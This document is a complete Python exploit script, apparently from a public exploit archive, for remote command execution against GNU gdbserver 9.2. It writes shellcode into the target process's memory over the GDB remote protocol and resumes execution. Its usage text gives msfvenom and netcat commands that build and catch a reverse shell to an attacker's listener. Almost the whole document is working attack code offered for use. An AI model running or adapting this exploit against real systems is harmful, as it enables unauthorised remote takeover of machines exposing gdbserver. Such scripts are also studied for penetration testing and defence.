GNU gdbserver version 9.2 remote command execution exploit.
be987b3baff2ae1c37e6c06f438713d3
# Exploit Title: GNU gdbserver 9.2 - Remote Command Execution (RCE)
# Date: 2021-11-21
# Exploit Author: Roberto Gesteira Miñarro (7Rocky)
# Vendor Homepage: https://www.gnu.org/software/gdb/
# Software Link: https://www.gnu.org/software/gdb/download/
# Version: GNU gdbserver (Ubuntu 9.2-0ubuntu1~20.04) 9.2
# Tested on: Ubuntu Linux (gdbserver debugging x64 and x86 binaries)
#!/usr/bin/env python3
import binascii
import socket
import struct
import sys
help = f'''
Usage: python3 {sys.argv[0]} <gdbserver-ip:port> <path-to-shellcode>
Example:
- Victim's gdbserver -> 10.10.10.200:1337
- Attacker's listener -> 10.10.10.100:4444
1. Generate shellcode with msfvenom:
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 PrependFork=true -o rev.bin
2. Listen with Netcat:
$ nc -nlvp 4444
3. Run the exploit:
$ python3 {sys.argv[0]} 10.10.10.200:1337 rev.bin
'''
def checksum(s: str) -> str:
res = sum(map(ord, s)) % 256
return f'{res:2x}'
def ack(sock):
sock.send(b'+')
def send(sock, s: str) -> str:
sock.send(f'${s}#{checksum(s)}'.encode())
res = sock.recv(1024)
ack(sock)
return res.decode()
def exploit(sock, payload: str):
send(sock, 'qSupported:multiprocess+;qRelocInsn+;qvCont+;')
send(sock, '!')
try:
res = send(sock, 'vCont;s')
data = res.split(';')[2]
arch, pc = data.split(':')
except Exception:
print('[!] ERROR: Unexpected response. Try again later')
exit(1)
if arch == '10':
print('[+] Found x64 arch')
pc = binascii.unhexlify(pc[:pc.index('0*')])
pc += b'\0' * (8 - len(pc))
addr = hex(struct.unpack('<Q', pc)[0])[2:]
addr = '0' * (16 - len(addr)) + addr
elif arch == '08':
print('[+] Found x86 arch')
pc = binascii.unhexlify(pc)
pc += b'\0' * (4 - len(pc))
addr = hex(struct.unpack('<I', pc)[0])[2:]
addr = '0' * (8 - len(addr)) + addr
hex_length = hex(len(payload))[2:]
print('[+] Sending payload')
send(sock, f'M{addr},{hex_length}:{payload}')
send(sock, 'vCont;c')
def main():
if len(sys.argv) < 3:
print(help)
exit(1)
ip, port = sys.argv[1].split(':')
file = sys.argv[2]
try:
with open(file, 'rb') as f:
payload = f.read().hex()
except FileNotFoundError:
print(f'[!] ERROR: File {file} not found')
exit(1)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((ip, int(port)))
print('[+] Connected to target. Preparing exploit')
exploit(sock, payload)
print('[*] Pwned!! Check your listener')
if __name__ == '__main__':
main()